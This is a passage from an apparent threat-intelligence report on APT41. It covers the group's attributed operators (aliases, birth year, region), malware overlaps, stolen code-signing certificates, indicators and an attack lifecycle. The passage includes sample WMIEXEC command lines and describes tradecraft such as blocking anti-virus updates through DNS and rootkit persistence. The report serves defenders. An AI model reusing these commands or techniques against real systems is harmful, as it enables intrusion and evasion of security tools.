trusted relationships with video game developers/ distributors. Long-running activity provides a catalog of Zhangs efforts to improve his skills and expertise over time. Additional names include: kbkxlp, akbkxlp, injuriesa, ravinder10, Addison Lau, and addison jack Associated email addresses: Examples of domains registered to known aliases (some of these may have since been re-registered legitimately): In 2005, Zhang posted personal information on (Chinese Hackers Alliance), a popular Chinese online forum, that listed his date of birth as 1989, that he previously lived in Inner Mongolia, and that he specialized in script hacking (Figure 13). Zhangs profile indicated he was 16, going on 17, and he was applying to be the administrator of a script hacking forum. Spoofed domains most likely targeted players of games such as Age of Wuxia, a massively multiplayer online role-playing game (MMORPG) themed on cultural references to dynastic China. Zhang Xugangs interest in these games is also apparent in his registration and posting on a forum dedicated to the Age of Wuxia (Figure 14). SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 31 Figure 13: Screenshot of Zhangs profile, with Zhang Xuguang highlighted in orange. Figure 14: Zhang posting to Age of Wuxia forum, with his alias injuriesa highlighted in yellow. 32 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Wolfzhi is linked to a 2017 profile on a data science community page, which indicated that he had 10 years working experience at the time of the posting, with significant experience in Oracle and Python. Other documents linked to his email accounts also highlight his programming skills and database experience. Additional aliases include: wolf_zhi, wolfjiao, jiaozhiq, and jiaozhiqiang Examples of domains registered under the wolf_zhi alias: Posts in a forum provide some indication he is from Beijing or Hebei, the surrounding Chinese province. This is also consistent with information found in early domain registrations created by Wolfzhi (Figure 15). Figure 15: Domain registration by Wolfzhi. Additional indicators of Chinese attribution include: the reliance on malware used exclusively by Chinese espionage operators, the use of Chinese-language strings, time zone and operational time analysis, and targeting consistent with Beijings interests. The use of tools leveraged only by several other Chinese operators such as HOMEUNIX and HIGHNOON provides some indication that APT41 relies on the similar resources and support as these other Chinese groups. APT41 also leverages PHOTO (aka Derusbi) and SOGU (aka Destroy RAT and PlugX), tools shared much more widely among Chinese espionage groups. See the section Links to Other Known Chinese Operators for more details. An APT41 HIGHNOON sample (MD5: 36711896cfeb67f599305b590f195aec) from 2012 contained a process debugging path (.pdb) with the Chinese-language directory D:\\, which translates to D:\Desktop\trojan. Compiled HTML (.chm) files used in targeting contained a language code set to Chinese (Simplified) despite the lure content being in the target regions language (English or otherwise). Compile and operational times of APT41 activity suggest the bulk of the groups work hours, 10:00 and 23:00 (UTC 8), are consistent with the Chinese workday, especially for tech sector employees on a 996 schedule. Figure 4 shows a breakdown of all of the operational activity within victim environments, separated between gaming and espionage (non-gaming) activity. Analysis of the times where APT41 modified or accessed a file within a victim environment, shows a concentration between 10:00 and 18:00 (UTC8). Targeting of healthcare, semiconductors, and telecoms is consistent with Chinese state interests and parallels activity from other Chinese espionage groups. Domain: Registrant Wolfzhi Wolfzhi ( ) beijingxxxdaxia beijing beijing, 100000 US Tel. 86.2011111111 Creation Date: 2011-08-23 15:23:29 Expiration Date: 2011-08-23 15:23:29 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 33 Figure 16: Ocean injection tool posted by Zhang. Status as Potential Contractors We assess with moderate confidence that APT41 is constituted of contractors tasked by the Chinese state to conduct espionage operations. Individuals attributed to the group have previously indicated that they could be hired and advertised their skills and services. APT41s use of the same malware in both financial- and espionage-related operations could support their status as contractors state employees are less likely to use such tools for personal financial gain over multiple years given the potential for greater scrutiny or punishment. APT41 cyber crime activity includes the use of espionage-only malware, indicating two possible conclusions: either APT41 is operating outside of state control but still working with other Chinese APT malware actors, tools, and infrastructure on a part- time or contractual basis, or APT41 is a full-time, state- sponsored APT actor but is also working outside of state control or direction for supplemental income. Tools used by APT41 in financially motivated operations include the use of HOMEUNIX and PHOTO, which are non-public malware used only by other Chinese espionage actors. A loose time separation between espionage and cyber crime activities provides some indication that the group divides its work hours between both types of operations. For additional details, see Figure 4 and the previous section Financially Motivated Activity. Public reports on Chinese hackers highlight that skilled actors opt to work for private sector entities that have government contracts because of better pay. Underground activity dating back to 2009 indicated that Zhang Xuguang is a hacker for hire. Zhang advertised on forums that he was available for professional penetration and hacking services. Zhang listed his online hours from 4:00 p.m. 6:00 a.m., which are similar to the operational times observed at gaming targets displayed in Figure 4. He was also observed sharing an injection tool named Ocean hysi (hysi) to demonstrate his skills, as displayed in Figure 16. China has previously relied on contractors to bolster state resources dedicated to cyber espionage activity. Increased integration between government units and civilian entities, including contractors and freelancers, is believed to be a key feature of Chinese cyber policy. According to indictments unsealed by the U.S. Department of Justice (USDOJ) in December 2018, APT10 was operated by contractors working for the Chinas Ministry of State Security (MSS). In a USDOJ indictment unsealed in November 2017, individual contractors responsible for APT3 were found to be working for an MSS front company. https://www.nytimes.com/2013/05/23/world/asia/in-china-hacking-has-widespread-acceptance.html https://thediplomat.com/2018/03/chinas-cyber-militias https://thediplomat.com/2018/03/chinas-cyber-militias 34 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Links to Other Known Chinese Espionage Operators APT41 uses many of the same tools and compromised digital certificates that have been leveraged by other Chinese espionage operators. Initial reports about HIGHNOON and its variants (reported publicly as Winnti) dating back to at least 2013 indicated the tool was exclusive to a single group, contributing to significant conflation across multiple distinct espionage operations. APT41 overlaps at least partially with public reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky). In some cases, the primary observed similarity in the publicly reported Winnti activity was the use of the same malware including HIGHNOONacross otherwise separate clusters of activity. Previous FireEye Threat Intelligence reporting on the use of HIGHNOON and related activity was grouped together under both GREF and Mana, although we now understand this to be the work of several Chinese cyber espionage groups that share tools and digital certificates. APT41 reflects our current understanding of what was previously reported as GREF, as well as additional indicators and activity gathered during our extensive review of our intelligence holdings. https://www.microsoft.com/security/blog/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/ https://securelist.com/winnti-more-than-just-a-game/37029/ https://www.welivesecurity.com/2019/03/11/gaming-industry-scope-attackers-asia/ https://www.clearskysec.com/winnti/ 35SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Certificate Overlap A digital certificate issued by YNK Japan that was publicly reported as being used by Winnti has been used by multiple Chinese espionage operators, including APT17, and APT20, and APT41. Issuer: CNVeriSign Class 3 Code Signing 2009-2 CA Subject: CNYNK JAPAN Inc Serial Number: 67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d Issue-Date: 11/27/09 , Expiration-Date: 11/27/11 Issuer: CNMicrosoft Certificate Authority Subject: CNMicrosoft Certificate Authority Serial Number: (Negative)77:62:e5:c6:c9:c2:75:59:b0:b8:f5:56:60:61:d8:78 Issue-Date: 12/31/2009, Expiration-Date: 12/30/2035 A self-signed digital certificate purporting to be from the Microsoft Certificate Authority has been used by both APT41 and APT40 to sign samples of the PHOTO backdoor. The overlaps in groups observed using these certificates is illustrated in Table 8. Table 8. Example of shared certificates between APT groups. Serial Number Subject APT17 APT20 APT40 APT41 67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d YNK JAPAN Inc X X X (Negative)77:62:e5:c6:c9:c2:75:59:b0:b8:f5:56:60:61:d8:78 Microsoft Certificate Authority X X 36 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Launcher Overlap Code Family Overlap The use of DLL side-loading has been a source of continued confusion when used as an indicator for distinct operations. This technique uses a legitimate and often digitally signed executable to essentially trick a system into launching a malicious DLL because it has been given the same name as a legitimate DLL normally loaded by the executable. The use of a valid and digitally signed A significant number of non-public tools used by APT41 are shared with other distinct Chinese espionage operators. Source code overlaps between observed code families indicate potential access to shared code repositories or common developers between groups. APT41 has used several malware families that have also been used by other Chinese espionage operators, including variants of HIGHNOON, HOMEUNIX, PHOTO, SOGU, and ZXSHELL, among others. Table 10 illustrates some of overlap between malware families used by APT41 and other APT groups. Note that this is only for illustration purposes and is not indicative of all observed malware families used by these APT groups or all groups that have used those families. executable allows actors to bypass host-based security measures. For this reason, it continues to be popular mechanism used by multiple groups. This also explains why the use of these DLL filenames is not a unique indicator for distinct APT operators. Table 9 contains legitimate executables used by APT41 and selected other Chinese cyber espionage groups for DLL side-loading: Table 9. Legitimate files used by different APT groups for DLL side-loading. File MD5 Hash Filename APT9 APT10 APT20 APT41 09b8b54f78a10c435cd319070aa13c28 nvSmartEx.exe X X X X 26a196afc8e6aff6fc6c46734bf228cb form.exe X X HIGHNOON, one of the main code families observed being used by APT41, was also used by APT17 in 2015 to target semiconductor and chemical manufacturers. HOMEUNIX, another popular backdoor used by APT41, has been used by at least 14 separate Chinese espionage groups, including APT1, APT10, APT17, APT18, and APT20. JUMPALL is a dropper that has been observed dropping variants of the HIGHNOON, ZXSHELL, and SOGU code families attributed to APT17 and APT41. https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 37 Table 11. CLASSFON sample with internal name DrvDll.dll and contains reference to PlusDll.dll. File MD5 Hash Malware Internal Filename Device Driver Name 9e1a54d3dc889a7f0e56753c0486fd0f CLASSFON DrvDll.dll PlusDll.dll Table 12. APT41 HIGHNOON.BIN samples that reference PlusDll. Dll. File MD5 Hash Malware Process Debugging Path 36711896cfeb67f599305b590f195aec HIGHNOON.BIN D:\\\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb a0a96138b57ee24eed31b652ddf60d4e HIGHNOON.BIN H:\RBDoor\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb Table 10. Code family overlap among different Chinese espionage groups. Malware APT1 APT3 APT10 APT17 APT18 APT19 APT40 APT41 BLACKCOFFEE X X X CHINACHOP X X X COLDJAVA X HIGHNOON X X HIGHNOON.BIN X X HIGHNOON.LITE X HOMEUNIX X X X X X JUMPALL X X PHOTO X X X X X SOGU X X X X X X ZXSHELL X X X X APT41 has not only shared the same tools with other Chinese espionage operators but also appears to have access to shared source code or developers as well. APT41 has used CROSSWALK.BIN, a kernel driver, to circumvent firewalls and covertly send data. Another Chinese espionage group used a similar tool, CLASSFON, to covertly proxy network communications in 2011. CLASSFON (MD5: 9e1a54d3dc889a7f0e56753c0486fd0f) has an internal name of DrvDll.dll and an embedded device driver that is internally named PlusDll.dll (Table 11). The PlusDll.dll filename has also been identified in APT41 HIGHNOON.BIN samples (Table 12). PDB paths identified in related APT41 HIGHNOON. BIN samples contain the name RBDoor, which has also been identified in samples of HIGHNOON, HIGHNOON.LITE, HIGHNOON.CLI, and GEARSHIFT (Figure 17). APT41 files containing PDB paths referencing RBDoor are listed in Table 13. At least two of these malware families, HIGHNOON.CLI and GEARSHIFT, have been used by APT17 and another suspected Chinese espionage group. Further information regarding code family overlaps between variants can be found in Technical Annex: Additional Malware Overlaps. 38 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 17: PDB paths containing RBDoor. H:\Double-V1\stone_srv\Bin\RbDoor64.pdb H:\Double\Door_wh\AppInit\x64\Release\AppInit.pdb H:\Double\Door_wh\RbDoorX64\x64\Release\RbDoorX64.pdb H:\Double\door_wh_kav\Bin\RbDoor64.pdb H:\RBDoor\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb H:\RBDoor\Anti_winmm\AppInit\AppInit\x64\Release\AppInit.pdb H:\RBDoor\Anti_winmm\AppInit\ShutDownEvent\x64\Release\ShutDownEvent.pdb H:\RbDoor\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb H:\RbDoor\Anti_winmm\AppInit\RbDoorX64\Release\RbDoor.pdb H:\RbDoor\Anti_winmm\AppInit\ShutDownEvent\Release\ShutDownEvent.pdb H:\RbDoor\Lib\WMI_SSL\RemoteLib\bin\TestRjLib.pdb H:\Svn\Double-V1\stone_srv\Bin\RbDoor64.pdb Table 13. APT41 samples with PDB paths containing RBDoor. File MD5 Hash Malware 46a557fbdce734a6794b228df0195474 HIGHNOON 77c60e5d2d99c3f63f2aea1773ed4653 HIGHNOON a0a96138b57ee24eed31b652ddf60d4e HIGHNOON.BIN 7d51ea0230d4692eeedc2d5a4cd66d2d HIGHNOON.BIN 849ab91e93116ae420d2fe2136d24a87 HIGHNOON.BIN ba08b593250c3ca5c13f56e2ca97d85e JUMPALL f8c89ccd8937f2b760e6706738210744 GEARSHIFT 5b26f5c7c367d5e976aaba320965cc7f GEARSHIFT SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 39 Use of Code-Signing Certificates APT41 regularly leverages code-signing certificates to sign malware when targeting both gaming and non- gaming organizations. Notably, most of the digital certificates being used in this manner are valid unrevoked digital certificates stolen from East Asia-based game development studios. APT41 likely signs their malware to ensure compatibility with the targeted systems and to potentially avoid detection. Microsoft requires all kernel-mode drivers to be signed in order to run on operating systems running Windows Vista or later. The use of code-signing certificates can also significantly decrease the likelihood that a malicious payload is detected. Although we do not have direct evidence of APT41 specifically targeting and stealing code-signing certificates, we have some indication from targeting of affected organizations within the same time frame that digital certificates are first compromised and used to sign malware. Stealing private keys or compromising an organizations infrastructure to access and steal digital certificates abuses trust relationships between firms and certificate authorities. Malicious files signed with valid digital certificates can circumvent automated scanning/ blocking solutions and bypass Windows group policies which restrict unsigned code from running. Even when detected, malicious files signed by a digital certificate from a trusted partner or associated business are less likely to draw suspicion. According to an advertisement in an underground marketplace, the success rate of installing a payload increases by as much as 50 percent when signing files with valid digital certificates. In most cases, multiple digital certificates are issued to an organization using the same public name, making it more difficult to identify a compromised certificate among others with identical names. Certificate authorities are responsible for revoking compromised digital certificates, although response times can vary greatly, and digital certificates can continue to be abused even long after they are first identified being misused. Several malware samples were signed very close to the certificate issue date, suggesting that APT41 or a related actor had access to the private key or build environment at that time. It is also possible the group acquired the private keys soon after they were issued. In some cases, digital certificates were used to sign malware samples just before they expired, most likely indicating the actors were actively managing a library of digital certificates for this purpose. Figure 18 depicts compile times of malware signed with compromised digital certificates within the time frame that the certificates were valid. All of the certificates listed in the graphic have either been revoked or are currently expired. Indicators associated with these certificates are listed in Technical Annex: Code Signing Certificates Used by APT41. Alternatively, it is possible APT41 may have purchased the digital certificates used for signing malware within an underground market. FireEye researchers found that code signing certificates are currently available for sale in underground marketplaces for as little as 399 USD, although ones that go through rigorous vetting can be sold for 1,699 USD. https://docs.microsoft.com/en-us/windows-hardware/drivers/install/driver-signing 40 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 18: First observed malware samples signed with digital certificates (white) in relation to valid certificate dates (blue). 11/27/09 4/11/11 8/23/12 1/5/14 5/20/15 10/1/16 2/13/18 6/28/19 Electronics Extreme Limited Zepetto Co. En Masse Entertainment GameUS Inc. Shanda Games NetSarang Computer Wemade Entertainment Co. XL Games Co. Nanjing Ranyi Technology Co. Guangzhou YuanLuo Technology Co. Fuqing Dawu Technolofy Co. Mgame Corp Neowix Corporation xlgames Webzen Inc. Guangzhou YuanLuo Technology Co. YNK JAPAN Inc. Observed Use Of Code Signing Certificates Certificate Validity Dates First Observed Malware Sample Signed with Compromised Certificate SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 41 Outlook and Implications APT41 is a dual threat demonstrating creativity and aggressiveness in carrying out both espionage campaigns and financially motivated operations. The groups capabilities and targeting have both widened over time, signaling the potential for additional supply chain compromises affecting more victims in additional verticals. APT41s links to both underground marketplaces and state-sponsored activity may indicate the group enjoys protections that enables it to conduct its own for-profit activities, or authorities are willing to overlook them. It is also possible that APT41 has simply evaded scrutiny from Chinese authorities. Regardless, these operations underscore a blurred line between state power and crime that lies at the heart of threat ecosystems and is exemplified by APT41. 42 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION TECHNICAL ANNEX Attack Lifecycle Figure 19: APT41 attack lifecycle. Initial Compromise Establish Foothold Escalate Privilege Internal Reconnaisance Complete Mission Move LaterallyMaintain Presence CHINACHOP Credential theft CVE-2019-3369 Spear-phishing Stolen credentials TeamViewer ADORE.XSEC CROSSWALK CROSSWALK.BIN FRONTWHEEL HIGHNOON HIGHNOON.BIN HIGHNOON.LINUX HOMEUNIX PACMAN PHOTO POISONPLUG POWERSPLOIT ROCKBOOT SOGU Scheduled tasks Startup files Sticky Keys Vulnerability Windows Registry modifications HIGHNOON SOGU Brute-force local admin account Creation of user accounts added to User and Admin groups Modification of the legitimate WMI Performance Adapter RDP Scheduled tasks Stolen credentials ACEHASH ASPXSpy Beacon CHINACHOP COLDJAVA CRACKSHOT CROSSWALK DEADEYE DOWNTIME EASYNIGHT Gh0st HIGHNOON HIGHNOON.LITE HIGHNOON.PASTEBOY HKDOOR HOTCHAI JUMPALL LATELUNCH LIFEBOAT LOWKEY njRAT PHOTO POISONPLUG POISONPLUG.SHADOW POTROAST SAGEHIRE SOGU SWEETCANDLE TERA TIDYELF WINTERLOVE XDOOR ZXSHELL PowerShell Sticky Keys Vulnerability ACEHASH GEARSHIFT Mimikatz NTDSDump PHOTO PwDump WINTERLOVE Bypass User Account Control Password hash dumping Windows Credential Editor (WCE) HIGHNOON SOGU WIDETONE Built-in Windows commands (ping, nestate, etc.) Encryptor RaaS XMRIG Clear .bash_history files Clear Windows security and system event logs Compress data using RAR Credential theft Delete Scheduled tasks Intellectual property theft Modify DNS management to avoid anti-virus detection Steal in-game currencies SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 43 Initial Compromise APT41 leverages a variety of techniques to perform an initial compromise, including spear- phishing, moving laterally from trusted third parties, leveraging stolen credentials, using the CHINACHOP web shell, and accessing victim organizations using remote desktop sharing software, such as TeamViewer. APT41 often relies on the use of simple spear-phishing email with attachments such as compiled HTML (.chm) files to initially compromise their victims. However, once in a victim organization, the operation can leverage more sophisticated TTPs and deploy additional malware tools. In a campaign running almost one year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits. We have observed TeamViewer credentials used as an entry point in multiple intrusions across industries. In these instances, APT41 leveraged TeamViewer to transfer malware into the compromised environment, although we do not have direct evidence of APT41 compromising TeamViewer. In July 2017, APT41 initiated a TeamViewer session and transferred files that were later deleted. Filenames and creation times indicate that these may have been the HIGHNOON backdoor. In May 2018, APT41 used TeamViewer for initial entry in the compromise of a healthcare company. During this intrusion, APT41 started a TeamViewer session and shortly after transferred DLL files associated with the CROSSWALK backdoor to the victim environment before deploying CROSSWALK. The group has leveraged several exploits in their operations. Notably, APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence vulnerability was announced. Observed Vulnerabilities CVE-2012-0158 CVE-2015-1641 CVE-2017-0199 CVE-2017-11882 CVE-2019-3396 APT41 compromised one organization and moved to a client environment. 44 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Establish Foothold APT41 uses a variety of malware and tools, both public and unique to the group, to establish a foothold with a victims environment, including: ASPXSpy ACEHASH Beacon CHINACHOP COLDJAVA CRACKSHOT CROSSWALK DEADEYE DOWNTIME EASYNIGHT Gh0st HIGHNOON.LITE HIGHNOON.PASTEBOY HOTCHAI HKDOOR JUMPALL LATELUNCH LIFEBOAT LOWKEY njRAT POISONPLUG POISONPLUG.SHADOW POTROAST SAGEHIRE SOGU SWEETCANDLE TERA TIDYELF XDOOR WINTERLOVE ZXSHELL APT41 has been observed using Linux and Windows variants of the same malware families, such as PHOTO and HIGHNOON. The group often initially installs its backdoors to c:\ windows\temp. We have observed APT41 attempting to masquerade their files and domains as popular anti-virus software: APT41 appears to use the commercially available Beacon backdoor that is part of the Cobalt Strike pen-testing software platform. In at least one instance, a server used for Beacon CC was also leveraged for CROSSWALK CC. On multiple occasions, APT41 leveraged the Sticky Keys vulnerability and PowerShell to deploy malware families in victims environments. SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 45 Escalate Privileges APT41 escalates its privileges in systems by leveraging custom-made and publicly available tools to gather credentials and dump password hashes. The tools include: ACEHASH GEARSHIFT GOODLUCK Mimikatz NTDSDump PHOTO PwDump WINTERLOVE Windows Credential Editor (WCE) APT41 frequently uses the Windows Credential Editor to dump password hashes from memory and authenticate other user accounts. Internal Reconnaissance APT41 conducts network reconnaissance after using compromised credentials to log on to other systems. The group leverages built-in Windows commands, such as netstat and net share, in addition to the custom and non-public malware families SOGU, HIGHNOON, and WIDETONE. HIGHNOON includes the ability to collect host information by enumerating active Remote Desktop Protocol (RDP) sessions. SOGU is capable of listing TCP and UDP network connections, respectively. WIDETONE is capable of conducting port scans and password brute-force attacks and collecting network information. It contains an embedded variant of a publicly available enumeration tool and can be run with the following options: -hbs option runs a port scan on the specified subnet. -hscan scans the specified IP range for IPC and SQL services. -enum queries a Windows host for requested information, such as users, groups/ members, policies, and more. 46 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Lateral Movement APT41 assesses the network architecture of an organization and identifies pivotal systems for enabling further access. The group has repeatedly identified intermediary systems that provide access to otherwise segmented parts of an organizations network (as outlined in Case Study: Video Game Industry Targeting). Once APT41 has identified intermediary systems, it moves quickly to compromise systems. In one case, hundreds of systems across several geographic regions were compromised in as little as two weeks. APT41 uses multiple methods to perform lateral movement in an environment, including RDP sessions, using stolen credentials, adding accounts to User and Admin groups, and password brute-forcing utilities. The group will also use a compromised account to create scheduled tasks on systems or modify legitimate Windows services to install the HIGHNOON and SOGU backdoors. We observed APT41 using a compromised account to create a scheduled task on a system, write a binary component of HIGHNOON containing the payload and CC information to disk, and then modify the legitimate Windows WMI Performance Adaptor (wmiApSrv) to execute the HIGHNOON payload. APT41 frequently uses the publicly available utility WMIEXEC to move laterally across an environment. WMIEXEC is a tool that allows for the execution of WMI commands on remote machines. Examples of commands executed by the utility include: cmd.exe /c whoami C:\wmi.dll 21 cmd.exe /c del C:\wmi.dll /F nul 21 cmd.exe /c a.bat C:\wmi.dll 21 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 47 Maintain Presence To maintain presence, APT41 relies on backdoors, a Sticky Keys vulnerability, scheduled tasks, bootkits, rootkits, registry modifications, and creating or modifying startup files. APT41 has also been observed modifying firewall rules to enable file and printer sharing to allow for inbound Server Message Block (SMB) traffic. APT41 leveraged ROCKBOOT as a persistence mechanism for PHOTO and TERA backdoors. The bootkit performs raw disk operations to bypass the typical MBR boot sequence and execute the backdoors prior to the host operating system. This technique was implemented to ensure the malware would execute at system runtime and was designed to be difficult to detect and prevent. APT41 ROCKBOOT samples have been signed with legitimate code-signing certificates from MGame and Neowiz, two South Korean video game companies. APT41 leveraged ADORE.XSEC, a Linux backdoor launched by the Adore-NG rootkit, throughout an organizations Linux environment. The group installed the backdoor and the Adore-NG rootkit persistently by creating a hidden shell script in /etc/rc.d/init.d, a directory that contains the startup scripts for many system services. The Adore-NG rootkit is used to hide the backdoor and authenticate any incoming connections using a provided password. The group also uses CROSSWALK.BIN, FRONTWHEEL, HIGHNOON.BIN, HIGHNOON. LINUX, HOMEUNIX, and PACMAN to maintain presence. In some instances, APT41 leveraged POISONPLUG as a first-stage backdoor to deploy the HIGHNOON backdoor in the targeted environment. We observed APT41 use PowerSploit with the capability to use WMI as a persistence mechanism. The group also deploys the SOGU and CROSSWALK malware families as means to maintain presence. APT41 has demonstrated it is highly agile, responding quickly to changes in victim environments and incident responder activity. Hours after a victimized organization made changes to thwart APT41, the group registered a new CC domain, compiled a new SOGU backdoor variant, and deployed the new backdoor to several systems across multiple geographic regions. APT41 sent spear-phishing emails to multiple HR employees three days after the compromise had been remediated and systems were brought back online. Within hours of a user opening the malicious attachment dropping a HOMEUNIX backdoor, APT41 regained a foothold within the environment by installing PHOTO on the organizations servers across multiple geographic regions. 48 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Complete Mission APT41 has been observed creating a RAR archive of targeted files for exfiltration. The group has also manipulated in-game currencies using the targets databases after compromising production environments. During multiple engagements, APT41 attempted to remove evidence of some of its activity by deleting Bash histories, clearing Windows security and system events, and modifying DNS management to avoid anti-virus detections. In at least one instance, the group attempted to deploy Encryptor RaaS. However, an operators typo prevented the ransomware from executing in the victims environment. In another instance, APT41 deployed XMRig, a Monero cryptocurrency mining tool in a victims environment. Avoiding CC Detection At times APT41 uses legitimate websites, such as GitHub, Pastebin, and Microsoft TechNet, to avoid detection. Interestingly, some of the groups POISONPLUG malware samples leverage the Steam Community website associated with Valve, a video game developer and publisher. This technique of storing encoded or encrypted strings, known as dead drop resolvers (DDR), on legitimate websites that can subvert network defenders as traffic to and from the sites is typically benign. The group has also configured Linux backdoors to run on ports used by legitimate applications within victim environments, enabling malicious traffic to bypass network security measures and hide malicious activity within the organizations regular application traffic. Preventing Anti-Virus Updates Before attempting to deploy the publicly available Ransomware-as-a-Service (RaaS) Encryptor RaaS through group policy, APT41 blocked victim systems from retrieving anti-virus updates by accessing the DNS management console and implementing a forward lookup on the domain used for anti-virus updates to the park IP address 1.1.1.1. SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 49 TECHNICAL ANNEX MITRE ATTCK Mapping Initial Access t1190 Exploit Public-Facing Application t1133 External Remote Services t1193 Spear-phishing Attachment t1195 Supply Chain Compromise t1199 Trusted Relationship t1078 Valid Accounts Privilege Escalation t1134 Access Token Manipulation t1015 Accessibility Features t1038 DLL Search Order Hijacking t1034 Path Interception t1055 Process Injection t1078 Valid Accounts t1100 Web Shell Execution t1059 Command-Line Interface t1223 Compiled HTML File t1106 Execution through API t1129 Execution through Module Load t1203 Exploitation for Client Execution t1061 Graphical User Interface t1170 Mshta t1086 PowerShell t1053 Scheduled Task t1085 Rundll32 t1064 Scripting t1035 Service Execution t1204 User Execution t1047 Windows Management Instrumentation Persistence t1015 Accessibility Features t1098 Account Manipulation t1067 Bootkit t1136 Create Account t1038 DLL Search Order Hijacking t1133 External Remote Services t1179 Hooking t1031 Modify Existing Service t1050 New Service t1034 Path Interception t1108 Redundant Access t1060 Registry Run Keys / Start Folder t1165 Startup Items t1078 Valid Accounts t1100 Web Shell 50 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Collection t1119 Automated Collection t1213 Data from Information Repositories t1005 Data from Local System t1056 Input Capture t1113 Screen Capture Credential Access t1098 Account Manipulation t1110 Brute Force t1003 Credential Dumping t1081 Credentials in Files t1056 Input Capture t1145 Private Keys Discovery t1087 Account Discovery t1482 Domain Trust Discovery t1083 File and Directory Discovery t1069 Permission Groups Discovery t1057 Process Discovery t1063 Security Software Discovery t1082 System Information Discovery t1016 System Network Configuration Discovery t0149 System Network Connections Discovery t1033 System Owner/User Discovery t1124 System Time Discovery t1497 Virtualization and Sandbox Evasion Command and Control t1043 Commonly Used Port t1090 Connection Proxy t1094 Custom Command and Control Protocol t1132 Data Encoding t1001 Data Obfuscation t1483 Domain Generation Algorithms t1219 Remote Access Tools t1105 Remote File Copy t1071 Standard Application Layer Protocol t1032 Standard Cryptographic Protocol t1095 Standard Non-Application Layer Protocol t1065 Uncommonly Used Port Lateral Movement t1075 Pass the Hash t1076 Remote Desktop Protocol t1105 Remote File Copy Exfiltration t1002 Data Compressed t1022 Data Encrypted t1041 Exfiltration Over Command and Control Channel Impact t1487 Data Encrypted for Impact Defense Evasion t1134 Access Token Manipulation t1009 Binary Padding t1146 Clear Command History t1116 Code Signing t1140 Deobfuscate / Decode Files or Information t1089 Disabling Security Tools t1038 DLL Search Order Hijacking t1073 DLL Side-Loading t1107 File Deletion t1054 Indicator Blocking t1070 Indicator Removal on Host t1036 Masquerading t1112 Modify Registry t1170 Mshta t1027 Obfuscated Files or Information t1055 Process Injection t1014 Rootkit t1085 Rundll32 t1064 Scripting t1045 Software Packing t1099 Timestomp t1078 Valid Accounts t1497 Virtualization and Sandbox Evasion t1102 Web Service SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 51 TECHNICAL ANNEX Code-Signing Certificates Used by APT41 Table 14. Code-signing certificates used by APT41. Serial Common Name Issue Date Expiry Date Status 0b:72:79:06:8b:eb:15:ff:e8:06:0d:2c:56:15:3c:35 Guangzhou YuanLuo Technology Co. 6/12/12 6/12/13 Revoked 18:63:79:57:5a:31:46:e2:6b:ef:c9:0a:58:0d:1b:d2 Webzen Inc. 8/2/11 9/30/13 Revoked 63:66:a9:ac:97:df:4d:e1:73:66:94:3c:9b:29:1a:aa xlgames 7/5/11 7/4/12 Revoked 5c:2f:97:a3:1a:bc:32:b0:8c:ac:01:00:59:8f:32:f6 Neowiz CORPORATION 11/16/11 12/15/12 Expired 01:00:00:00:00:01:30:73:85:f7:02 Mgame Corp 6/9/11 6/9/12 Expired 4c:0b:2e:9d:2e:f9:09:d1:52:70:d4:dd:7f:a5:a4:a5 Fuqing Dawu Technology Co. 1/31/13 1/31/14 Revoked 14:0d:2c:51:5e:8e:e9:73:9b:b5:f1:b2:63:7d:c4:78 Guangzhou YuanLuo Technology Co. 10/22/13 10/22/14 Revoked 58:01:5a:cd:50:1f:c9:c3:44:26:4e:ac:e2:ce:57:30 Nanjing Ranyi Technology Co. 8/8/12 8/8/13 Revoked 7b:d5:58:18:c5:97:1b:63:dc:45:cf:57:cb:eb:95:0b XL Games Co. 6/21/12 